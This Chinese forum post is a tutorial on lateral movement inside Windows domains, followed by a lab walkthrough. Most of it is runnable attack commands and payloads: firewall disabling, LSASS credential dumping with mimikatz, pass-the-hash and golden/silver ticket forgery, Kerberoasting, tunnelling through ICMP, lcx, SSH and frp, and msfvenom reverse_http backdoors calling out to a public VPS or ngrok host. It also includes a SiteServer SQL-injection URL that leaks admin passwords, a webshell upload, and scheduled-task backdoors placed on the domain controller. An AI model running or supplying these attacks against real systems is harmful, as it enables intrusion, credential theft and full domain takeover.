安全矩阵

 找回密码
 立即注册
搜索
查看: 2081|回复: 0

内网渗透技巧及靶场实践

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-6-29 17:28:18 | 显示全部楼层 |阅读模式
内网渗透技巧及靶场实践原创 快乐鸡哥 [url=]moonsec[/url] 3天前
收录于话题
#渗透测试 信息安全
19个
内网渗透技巧及靶场实践


1一、信息基本收集
当一台机子返回会话后,我们可以使用相关命令进行相应的信息收集
1.1收集基本的信息:Systeminfo计算机详细信息(补丁信息)
Netstart 所启动的服务
Wmicservice list brief 查询本机服务信息
Tasklist进程列表
Wmicstartup get command,caption 查看启动该程序信息
Schtasks/query /fo LIST /v计划任务
Netstat-ano 根据本机端口开放情况来判断有什么服务、其角色
Queryuser || qwinsta 查看当前在线用户
Netsession 列出会话
Netshare 查看本机的共享列表
Wmicshare get name,path,status 查看共享列表
Netuser 本地用户
Netuser kkkk 查看本地用户信息
Netuser kent password /add添加本地用户
Netlocalgroup 本地用户组
Netlocalgroup /domain 域用户组
Netlocalgroup Administrators kent /add 将本地用户添加到本地管理员组
Netlocalgroup adminnstrators 本地管理员组成员
netlocalgroup adminstrators /domain 域管理员组成员
Wmicuseraccount get /all 获取域内用户详细信息
dsqueryuser 查看存在的用户
Netuser /domain 域用户信息
Netuser kkkk /domain 域用户kkkk信息
Netuser kent password /add /domain添加域用户
Netlocalgroup Administrators kent /add /domain 将域用户添加到域管理员组
Netlocalgroup Administrators /add test\kent 将域用户添加到本地管理员组
Netgroup /domain 域用户组信息
Netview /domain 查询域
Netview /domain:test 查询域内计算机
Netaccounts /domain 查询域中密码策略
Netgroup /domain 查看域内所有用户组
Netgroup “Domain Controllers” /domain 查看域控制器组
Netgroup “Domain computers” /domain 查看域内所有计算机列表
Netgroup “Domain admins” /domain 查看域内管理员用户
Netuser /domain kent active:yes 启用域账户
Netuser /domain kent active:no  禁用域账户
Nltest/DCLIST:test 查看域中域控制器名
Wmicuseraccount get /all 用户详细信息
Netgroup “Domain Admins” /domain 对应组下的账户信息
nltest/domain_trusts获取域信任信息
netconfig workstation  了解本机的配置信息
Netshfirewall show config 查看防火墙配置
Netshadvfirewall set allprofiles state off关闭防火墙(windowsserver 2003后)
Netshadvfirewall firewall add rule name=”pass nc” dir=in action=allowprogram=”C:\nc.exe” 允许指定程序进入(windowsserver 2003后)
Netshadvfirewall firewall add rule name=”allow nc” dir=outaction=allow program=”C:\nc.exe”允许指定程序退出(windowsserver 2003后)
Netsh advfirewall firewall add rule name=”Remote Desktop”protocol=TCP dir=in localport=3389 action=allow 允许3389连接(windowsserver 2003后)
Netshadvfirewall set currentprofile loggingfilename=”C:\winodws\temp\fw.log” 自定义防火墙日志存储位置
Regquery“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings”查看端口代理配置信息
Regquery “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp” /V PortNumber查看远程桌面端口号
以下命令是开启3389端口(windows server 2003后)
wmic/namespace:\\root\cimv2\terminalservices pathwin32_terminalservicesetting where (__CLASS != "") callsetallowtsconnections 1
wmic/namespace:\\root\cimv2\terminalservices path win32_tsgeneralsettingwhere (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
regadd "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server"/v fSingleSessionPerUser /t REG_DWORD /d 0 /f
netstart TermService

1.2收集第三方登录凭证收集:SharpDecryptPwd:
https://github.com/uknowsec/Shar ... SharpDecryptPwd.exe
TeamViewer:SharpDecryptPwd.exe -TeamViewer
Navicat:SharpDecryptPwd.exe -NavicatCrypto
Xshell:SharpDecryptPwd.exe-Xmangager -p SessionPath -s username+sid(whoami /user)
laZagne:
https://github.com/ethicalhacker ... e/archive/2.3.1.zip
使用方法:laZagne.exeall

我们用上述命令简单收集计算机基本信息:
Ipconfig/all 根据DNS后缀判断是否有域

Netview /domain  判断是否存在域
确定域控的ip地址:
nettime /domain

然后通过nslookup或ping确定其域控ip:

确定当域内存活主机:
for/L %I in (1,1,256) DO @ping -w 1 -l 1 192.168.202.%I | findstr “TTL=”

2二、使用明文传递进行内网横向移动
2.1Windows server 2008使用自带的at命令使用明文密码登录到域控,需要135端口开启:

           

Net use \\192.168.202.148\ipc$ password /user:test\administrator

把后门复制到域控c盘,at新建定时作业:




Windowsserver 2012及以上使用schtasks命令
  1. Schtasks/create /s 192.168.202.148 /ru “SYSTEM” /tn executefile /sc DAILY/tr c:/h4.exe /F
  2. Schtasks/run /s 192.168.202.148 /tn executefile /i
  3. Schtasks/delete /s 192.168.202.148 /tn executefile /f
复制代码
2.2使用第三方工具包impacket中atexec.exe

           

Atexec.exe test/administrator:zxcvbnm123@192.168.202.148 "whoami"


           

Atexec.exe -hashes :fac5d668099409cb6fa223a32ea493b6 test/administrator@192.168.202.148 "whoami"


2.3结合批处理利用:已知密码和用户批量连接ip:

           

FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "password" /user:test\administrator

已知用户和ip批量连接密码:

           

FOR /F %%i in (pass.txt) do net use \\192.168.202.148\ipc$ "%%i” /user:test\administrator
已知用户和ip批量连接hash:

           

FOR /F %%i in (hash.txt) do atexec.exe -hashes :"%%i" test/administrator@192.168.202.148 "whoami"


3三、利用hash进行横向移动
在windowsserver 2012以上的版本默认关闭wdiget,攻击者无法在内存中获取明文密码。
在windowsserver 2012以下的版本如果安装了KB2871997补丁,也无法获取明文密码。
3.1获取系统hashProcdump.exe -accepteula -ma lsass.exe lsass.dmp(需要管理员权限)

利用Mimikatzm相关命令获取dmp中的hash:
Privilege::debug
Sekurlsa::minidumplsass.dmp
Sekurlsa::logonPasswordsfull

可以通过hashcat爆破hash值,获得对应的明文密码:
Hashcat-a 0 -m 1000 hashfile passfile

3.2通过明文或hash利用SMB服务进行横向移动官方Psexec第一种利用方法:可以先有ipc链接,再用psexec运行相应的程序:

           

  •        

Net use \\192.168.202.148\ipc$ zxcvbnm123 /user:test\AdministratorPsexec \\192.168.202.148 -accepteula -s cmd
官方Psexec第二种利用方法:不用建立ipc连接,直接使用密码或hash进行传递

           

Psexec \\192.168.202.148 -u Administrator -p zxcvbnm123 -s cmd

PsExec-hashes :fac5d668099409cb6fa223a32ea493b6test.com/Administrator@192.168.202.148 "whoami"  (官方执行不了)


使用第三方Impacket工具包中的smbexecpsexec(使用方法同官方一致)
使用Impacket第三方PsExec,命令与官方的一致:

使用Impacket第三方Smbexec:

           

Smbexec test/Administrator:zxcvbnm123@192.168.202.148


           

Smbexec-hashes :fac5d668099409cb6fa223a32ea493b6test/Administrator@192.168.202.148



3.3 利用WMI服务进行横向移动WMI利用135端口,支持明文和hash两种方式进行身份验证,且系统日志不记录。
第一种:使用系统自带的WMIC明文传递执行相应命令,但执行的结果不回显(先管理员账户登录)

           

Wmic /node:192.168.202.148 /user:Administrator /password:zxcvbnm123process call create "cmd.exe /c ipconfig >C:/1.txt"



第二种:使用系统自带cscript明文传递执行反弹shell,执行结果有回显,现已被杀
Cscript//nologo wmiexec.vbs /shell 192.168.202.148 Administrator zxcvbnm123

第三种:使用第三方impacket套件中的Wmiexec进行明文或hash传递,执行结果有回显
Wmiexec test/Administrator:zxcvbnm123@192.168.202.148 "whoami"


           

Wmiexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/Administrator@192.168.202.148 "whoami"


3.4利用Mimikatz进行PTHPTH是攻击者通过LMHash和NTLMHash访问远程主机或服务,不需提供明文密码。当禁用了NTLMHash验证时,不能使用PsExec进行Hash传递,mimikatz还是可以。
Privilege::debug

           

Sekurlsa::pth/user:Administrator /domain:test/ntlm:fac5d668099409cb6fa223a32ea493b6

关于KB22871997是否能防护PTH攻击?
Pth:没有打补丁时,任何用户都可以连接,打了补丁只能administrator连接
Ptk:打了补丁后,用户才能可以连接,采用aes256连接

3.5 利用RDP进行横向移动1、使用明文密码连接RDP

           

  •        

Windows:Mstsc.exe /console /v:192.168.202.148 /adminLinux:rdesktop 192.168.202.148:33892、使用hash连接RDP
使用hash连接需要RestrictedAdmin mode开启,Windowsserver 2012默认开启了,windowsserver 2008需要安装2871997、2973351补丁后,执行下面命令:

           

REGADD "HKLM\System\CurrentControlSet\Control\Lsa" /vDisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
当开启后就能使用mimikatz进行hash连接RDP:

           

  •        

Privilege::debugSekurlsa::pth/user:Administrator /domain:test/ntlm:fac5d668099409cb6fa223a32ea493b6 "/run:mstsc.exe/restrictedadmin"
3.6 PTK(pass thekey)在横向移动利用利用ekeysaes256
Sekurlsa::ekeys获取aes

           

Sekurlsa::pth/user:Administrator /domain:test2/aes256:6e09831ee88fb85c8a3f4a88dea70e2a1b18197b70d57a9eebad73b45137433d


4四、PTT票据传递在横向移动利用
PTT(passtheticket)不再使用NTLM进行认证,而是利用kerberos协议进行攻击,相对于PTH来说其不需要管理员权限,有三种常见的攻击方式:MS14-068(漏洞编号kb3011780)、Golderticket、Silverticket,其中后两者是将连接合法的票据注入内存中属于权限维持(后面写)。
4.1 利用相关漏洞第一种使用MS14-068exp:
先用whoami/user查看当前用户sid

Kerberos::purge或klistpurge先清空当前机器中的所有凭证:

利用MS14-068生成相应凭证:

           

MS14-068.exe-u c@test.com -sS-1-5-21-2273191065-1635484360-3888421177-1105 -d 192.168.202.148 -pc@zxcvbnm123

使用mimikatz将票据注入内存:

           

Kerberos::ptc "TGT_c@test.com.ccache"


后续利用:

第二种kekeo利用hash生成票据:

           

Kekeo "tgt::ask /user:c /domain:test.com/ntlm:abe09320f41c250eadcc5bfba77a5e1a"

同样清楚票据并导入生成的票据:

           

kerberos::ptt TGT_c@TEST.COM_krbtgt~test.com@TEST.COM.kirbi


第三种利用mimikatz收集本地的票据并重新导入(导出需要管理员权限):
Sekurlsa::tickets/export

使用Kerberos::ptt进行导入票据。

4.2 Golder ticketGolderticket使用krbtgt账户的密码hash值,利用伪造高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获得域控权限。在域环境中,每个账户的票据都是Krbtgt生成的,当攻击者得到krbtgthash或AES256值后,我们就可以伪造任一域用户的身份,并用该身份进行访问。伪造Golderticket利用条件:
1、krbtgt用户hash或AES256值
2、域名称
3、域的SID值
4、要伪造的管理员名

下面是具体操作:
Privilege::debug
执行导出krbtgthash命令 Lsadump::dcsync/domain:test.com /user:krbtgt
获得hash值:71204258ec5b715c29f6c8ee40a0c20d

获取域SID
Wmicuseraccount get name,sid
S-1-5-21-2273191065-1635484360-3888421177-500

查询域管理员账户net group “domain admins” /domain

获得域名ipconfig /all

Kerberos::purge清空票据,然后使用下面命令生成krbtgt的票据

           

kerberos::golden/user:Administrator /domain:test.com/sid:S-1-5-21-2273191065-1635484360-3888421177-500/krbtgt:71204258ec5b715c29f6c8ee40a0c20d /ticket:krbtgt. kiribi

kerberos::pttkrbtgt.kiribi 把生成的票据重新导入内存



4.3 Silver TicketSilverTicket会通过相应的服务账户来伪造TGS,例如LDAP、MSSQL、WinRM、CIFS等,范围相对有限,只能获取对应服务权限,且SilverTicket是由特定的账户加密的。利用条件:
1、域名
2、域SID
3、目标服务器的FQDN
4、可利用的服务
5、服务账号的NTLMHash
6、需要伪造的用户名
下面进行相应的操作:
先清空系统中的票据:
Kerberos::purge
使用mimikatz生成伪造的Silver Ticket :

           

kerberos::golden/user:Administrator /domain:test.com/sid:S-1-5-21-2273191065-1635484360-3888421177-500/target:WIN-MPPGQR2OWEC.test.com /service:cifs/rc4:fac5d668099409cb6fa223a32ea493b6 /user:c3 /ptt

退出mimikatz,查看内存中的票据:

重新访问域控的共享目录:


5五、利用SPN服务进行横向移动
在域环境中,SPN扫描是查找相关服务较好的方法,可以从相关服务着手,如MSSQL、WSMAN、Exchange、TERMSERV、Hyper-V。其扫描是通过请求特定SPN类型的服务主题名称进行的。与普通网络端口相比,SPN扫描不需要连接IP来检测服务端口,所以能规避一些IPS的规则,且进行扫描只需普通域用户权限。
注册SPN
Setspn-A c3/test MSSQL

查看注册的SPN
Setspn-q */*
Setspn-q */* | findstr “MYSQL”

请求服务票据

           

  •        

Add-Type-AssemblyName System.IdentityModelNew-ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken-ArgumentList "MySQL/win7.xie.com:3306/MySQL"
列出服务票据
Klist

并用mimikatz将票据导出
Kerberos::list/export

最后使用tgsrepcrack.py爆破得到相应密码。

6六、隧道通信
6.1 网络层隧道ICMP隧道是网络层常用的隧道之一。在ICMP协议中,设备间的通信是不需要开放相应的端口。当攻击者使用各类上层隧道进行通信均失败时,则可通过ping命令访问目标计算机,并尝试建立ICMP隧道,将TCP/UDP等相应需要传输的数据封装到ping数据包中,从而穿过防火墙实现通讯。
其中PingTunnel是ICMP隧道的常用工具,可跨平台使用。下面使用该工具进行相应的操作:
先在受控端(web服务器)运行PingTunnel工具,执行开启隧道命令
sudo ./pingtunnel -type server

在控制端(公网vps)执行下面命令,打开需要监听的本地端口,会把指定的服务器相应端口的数据封装在ICMP隧道中,以受控端(web服务器)为IMCP隧道跳板进行传输。
pingtunnel -type client -l :本地所监听的端口-s 受控端IP-t 指定要转发的目标IP:指定要转发的目标端口-tcp 1

           

pingtunnel -type client -l :33444 -s 192.168.74.132 -t 192.168.96.145:80 -tcp 1

访问本地监听端口:


6.2 传输层隧道Lcx是传输层经典的转发工具。Lcx是一个基于Socket套接字实现的转发工具,其linux版本为portmap。一个正常的Socket隧道必须具备两端:一端为服务端,负责监听一个端口并等待客户端连接;另一端为客户端,通过服务端的地址和端口与其连接,并转发相应的数据给服务端。
在自己的公网vps(即服务端)执行监听命令,将本机4444端口上监听的所有数据转发给本机的5555端口,以便其它机器访问。
Lcx.exe -listen 4444 5555

在受控端(即客户端)执行数据转发命令,将目标机器的80端口转发到公网vps的4444端口。
Lcx.exe-slave 公网ip4444 目标机器IP80

我们通过vps的ip和5555访问到目标机器的80端口:


同样地lcx也常用于本地端口映射,当目标服务器由于防火墙限制,部分端口没能通过防火墙时,可以将目标服务器响应端口数据转发到防火墙允许的端口。在目标服务器执行下面命令,即可把远程桌面转到53端口:
Lcx-tran 53 目标服务器IP3389

6.3 应用层隧道应用层的隧道通信主要利用应用软件提供的端口转发数据。常见的应用层隧道协议有SSH、HTTP、DNS等。其中SSH协议通常是被允许通过防火墙和边界设备的,且内网中Linux设备都支持SSH协议,同时SSH的传输过程是加密的,使得难以区分合法的SSH和攻击者建立的隧道。
常用的SSH隧道有以下几种类型:本地转发、远程转发、动态转发。SSH命令常用参数有:
-C:压缩传输,提高速度。
-f: 后台执行
-N:建立静默连接
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态端口转发
-P:指定SSH端口

本地转发
在VPS执行如下相应命令,该命令以web服务器为跳板,将内网服务器的端口映射到公网的vps上,我们访问对应公网vps的端口即可。
Ssh-CfNg -L 公网VPS端口:目标主机IP:目标端口号root@跳板机IP


远程转发
当公网的vps不能访问访问到内网的服务器(包括web服务器),但web服务器能访问到公网的vps时,我们在web服务器执行如下相应命令,该命令以web服务器为跳板,将vps端口的流量转发到内网服务器相应端口上,我们访问对应公网vps的端口即可。
Ssh-CfNg -R vps端口:目标主机IP:目标端口号root@跳板机IP


动态转发
动态端口映射时建立一个ssh加密的socks4/5代理通道,任何支持socks4/5协议的程序都可以通过此通道进行代理访问。我们在vps上执行如下命令:
ssh -CfNg -D 7000 root@代理主机IP
接下来我们可以设置浏览器代理,来访问内网服务器的相关服务:



6.4 Ngrok实现内网穿透执行命令./sunnyclientid d8d99b5ff5d4996

访问对应的域名,确认能连接成功:

执行命令生成相应的exe:

           

msfvenom -p windows/meterpreter/reverse_http lhost=mai1zhi2.free.idcfengye.comlport=80 -f exe -o h7.exe
设置好相应的payload后,打开监听,运行exe:


6.5 frp实现内网穿透服务端默认监听端口是7000,执行命令,启动服务端 ./frps -c ./frps.ini


启动客户端frpc配置文件:
[msf]
type= tcp
local_ip= 本地ip地址
local_port= 22222  转发给本机的22222端口,也就是msf的监听端口
remote_port= 6000 服务端打开6000端口进行监听
执行命令连接服务端:./frpc-c ./frpc.ini

服务端显示有客户端连接:

服务端开启6000端口进行监听

Msf生成exe文件:
msfvenom-p windows/meterpreter/reverse_http lhost=公网iplport=公网ip监听的端口-f exe -o h4.exe
执行exe上线:


7七、靶场实践
7.1 信息收集这个靶场是月师傅所搭,我们用这个靶场作为实践,靶场拓扑图:

先进行主机发现,方法有许多,分别是基于层面和工具上的不同:
1、使用netdiscover
sudonetdiscover -i eth0 -r 192.168.202.0/24
专用的二层发现工具。拥有主动和被动发现两种方式。
常用参数:
-i:网卡选择你监控的网卡。比如eth0
-r:range指定IP段。比如192.168.0.0/24
-l:filename从文件读取range列表
-p被动模式。默默的侦听指定的网卡以发现别的二层主机
-tARP包发送间隔。单位毫秒。这个可以用来规避检测系统的告警。
-c发包数量
2、使用nmap
nmap-v -sP 192.168.202.0/24
以上参数:
-sP、ICMP扫描:类似于ping检测,快速判断目标主机是否存活,不做其他扫描


3、使用系统自带ping(速度稍慢)

           

  •        

for/L %I in (1,1,256) DO @ping -w 1 -l 1 192.168.202.%I | findstr “TTL=”fping-g 10.10.10.0/24
然后对所发现的主机进行端口扫描,同样也有不同工具来进行端口扫描:
1、nmap
nmap-sS -p 1-65535 -v 192.168.202.183
以上参数:
-P    指定端口扫描   
-V    详细信息        
-sS、TCPSYN扫描(半开扫描):只向目标发出SYN数据包,如果收到SYN/ACK响应包就认为目标端口正在监听,并立即断开连接;否则认为目标端口并未开放。
-sT、TCP连接扫描:这是完整的TCP扫描方式,用来建立一个TCP连接,如果成功则认为目标端口正在监听服务,否则认为目标端口并未开放。
-sF、TCPFIN扫描:开放的端口会忽略这种数据包,关闭的端口会回应RST数据包。许多防火墙只对SYN数据包进行简单过滤,而忽略了其他形式的TCP攻击包。这种类型的扫描可间接检测防火墙的健壮性。
-sU、UDP扫描:探测目标主机提供哪些UDP服务,UDP扫描的速度会比较慢。

识别对应的端口
nmap-sV -A 192.168.202.183 -p 80,53,6588,5985,3389,135,21,999 -oAmyAttackPorts
-sV:探测相应服务版本号
-A:综合扫描,包含1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测
-oA:同时在三个主要的格式文档输出扫描结果


使用xsltproc美化结果输出文档:
xsltproc-o attck.html mode.xsl myAttackPorts.xml


2、masscan
sudomasscan -p 1-65535 192.168.202.183 --rate=1000
常用参数:
-p<ports,--ports <ports>> 指定端口进行扫描
--banners获取banner信息,支持少量的协议
--rate<packets-per-second> 指定发包的速率,默认的速率是100包/秒


绑定域名,再对其www.moonlab.com进行目录爆破,

如果用kali自带的dirbuster工具会因为UA和速度等问题被拦截:


所以我们可以自己编写脚本进行目录的爆破,每间隔0.5秒进行请求操作:



7.2 web漏洞访问网址可知,这是siteserver3.6.1,从网上找到该版本报错注入的相关poc,获得数据库版本信息:

           

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--


获得数据库名:
http://www.moonlab.com/usercente ... eCollection=test%27)%20and%20db_name()=~2;%20--

根据查询数据库语句相继获取到后台的用户名、密码及salt值:
http://www.moonlab.com/usercente ... eCollection=test%27)%20and%20~1=(SELECT%20TOP%201%20[Password]%20FROM%20[bairong_Administrator]);%20--




然后我们根据网上所下载的原理分析出其登录时的密码加密流程:
先看FrameworkLogin类的Submit_Onclick()方法,流程很简单先判断验证码,然后把用户名和密码传入AdminManager.Authticate:

继续跟入AdminManager.Authticate,调用了AdministratorDAO.ValidateUser()验证:

继续跟入AdministratorDAO.ValidateUser()的实现,函数先根据用户名找到用户的信息,根据数据库中用户的密码与输入的密码调用checkpassword()函数进行比对:

把数据库中的密码和salt传入DecodePassword()进行相应的解密:

DecodePassword()函数中调用的是系统库的des解密:


我们了解了相关的解密流程,就可以自己编写相关的解密工具去解密前面注入得到的密码为admin5566。

我们使用密码登入后台,将一句话打包为zip并在站点模板里进行上传,并使用菜刀连接:




可见SeImpersonatePrivilege是已启用的,当我们具有了SeAssignPrimaryToken或SeImpersonate特权,那么就意味着具有了SYSTEM的权限。我们可以通过上述这两个特权,在其他用户的上下文中运行代码,甚至创建新的进程。拥有SeImpersonatePrivilege特权,就可以调用CreateProcessWithToken();拥有SeAssignPrimaryTokenPrivilege特权,就可以调用CreateProcessAsUser()。而PrintSpoofer就是这样的一款开源工具:

同时我们也可以通过netstart查看当前计算机开启了哪些服务,根据服务名进行判断是否对后续提权有帮助的。

7.3 内网渗透我们使用msf生成相关后门,利用PrintSpoofer执行后门:
  1. msfvenom -p windows/meterpreter/reverse_http lhost=192.168.202.180 lport=22222-f exe -o h4.exe  //生成exe
  2. useexploit/multi/handler  //建立监听
  3. setpayload windows/meterpreter/reverse_http
  4. setlport 22222
  5. setlhost 192.168.202.180
复制代码

因为目标机器是windowsserver 2016获取不到明文密码,我们使用msf中自带模块runpost/windows/gather/smart_hashdump,把hashdump出来

当我们拿到hash后,可以使用hashcat进行hash值得爆破,
hashcat-a 0 -m 1000 hash.txt rockyou.txt --force
-a 0爆破模式为字典模式
-m是指定哈希类型
hash.txt是 ntml
rockyou.txt是字典
也可以使用Hash传递登录RDP远程桌面,

           

Sekurlsa::pth/user:Administrator /domain: 192.168.202.183/ntlm:fac5d668099409cb6fa223a32ea493b6 "/run:mstsc.exe/restrictedadmin"
又可以使用hash建立ipc连接。

查看当前主机存在哪些网段runget_local_subnets:

先进行内网中得主机发现,使用msf自带得arp:runarp_scanner -r 10.10.1.0/24

Msf添加路由,runautoroute -s 10.10.1.0/24

对所发现的IP进行端口扫描:

           

proxychainsnmap -sC -A 10.10.1.130 -p80,53,1433,49154,6588,3389,135,21,51464,999
可见只有80端口是开放得:

通过访问80端口得知是通达oa尝试使用其RCE漏洞,先用蚁剑生成php小马再利用RCEexp脚本进行攻击:

连接小马,当前权限为system:

利用Netstart、tasklist、netstat-ano等相关命令进行信息收集,得知windowsFirewall打开,执行NetShAdvfirewall set allprofiles state off命令关闭防火墙。
接着用msf生成bind后门:

           

msfvenom -p windows/meterpreter/bind_tcp lport=13777 -f exe -ohb.exe
,用antsword文件上传bind.exe,并执行:

Msf执行相应命令进行连接:
  1. use exploit/multi/handler
  2. set payload windows/meterpreter/bind_tcp
  3. set RHOST 10.10.1.130
  4. set lport 13777
复制代码
​查看当前主机存在哪些网段runget_local_subnets:

Migrate迁移进程后,loadkiwi加载mimiatz,kiwi_cmdsekurlsa::logonpasswords尝试使用其获取hash:357bec0ee1f524c62ba536fcd3f74472

执行sysinfo,可见该主机存在域中:

使用nettime定位域控:
Chcp65001设置乱码

使用msf自带模块定位域控

           

run post/windows/gather/enum_domain
,得到域控ip:

使用msf自带模块判断该主机是否有域管登录过,

           

run post/windows/gather/enum_logged_on_users:


还有其他相关msf自带得收集信息模块:runpost/windows/gather/enum_ad_groups,
run post/windows/gather/enum_domain_tokens

ps查看当前进程信息,可见当前域管是在线的,可以使用steal_token进行token窃取(需要system权限),窃取到ATTACK\adminstrator后再使用其身份执行dcsync_ntlm获得hash:



添加路由后,我们使用nmap对域控ip进行扫描

           

proxychainsnmap -sC -A 10.10.10.165 -p80,53,445,1433,49154,6588,3389,135,21,51464,999:



开放了445端口,我们可以利用获得得hash:357bec0ee1f524c62ba536fcd3f74472进行pth传递:

如果我们使用msf自带的:useexploit/windows/smb/psexec模块,因为域控主机开启了防火墙,组织程序进出,所以无论payload是bind或reserve都失败:
  1. setr hosts 10.10.10.165
  2. set smbuser administrator
  3. set smbpass aad3b435b51404eeaad3b435b51404ee:357bec0ee1f524c62ba536fcd3f74472
复制代码

我们可以使用第三方Impacket工具包中的smbexec和psexec进行pth,执行下面命令:

           

PsExec-hashes :357bec0ee1f524c62ba536fcd3f74472 ATTACK/Administrator@10.10.10.165 "whoami"
,连接到域控主机当前是system权限


使用copy命名把后门复制到域控中:

使用如下命令

           

  •        

Schtasks/create /s 10.10.10.165 /ru "SYSTEM" /tn executefile /scDAILY /tr c:/hb.exe /FSchtasks/run /s 10.10.10.165 /tn executefile /i创建计划任务,执行相关后门:



参考:
https://www.moonsec.com/
内网安全攻防

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 06:48 , Processed in 0.018189 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表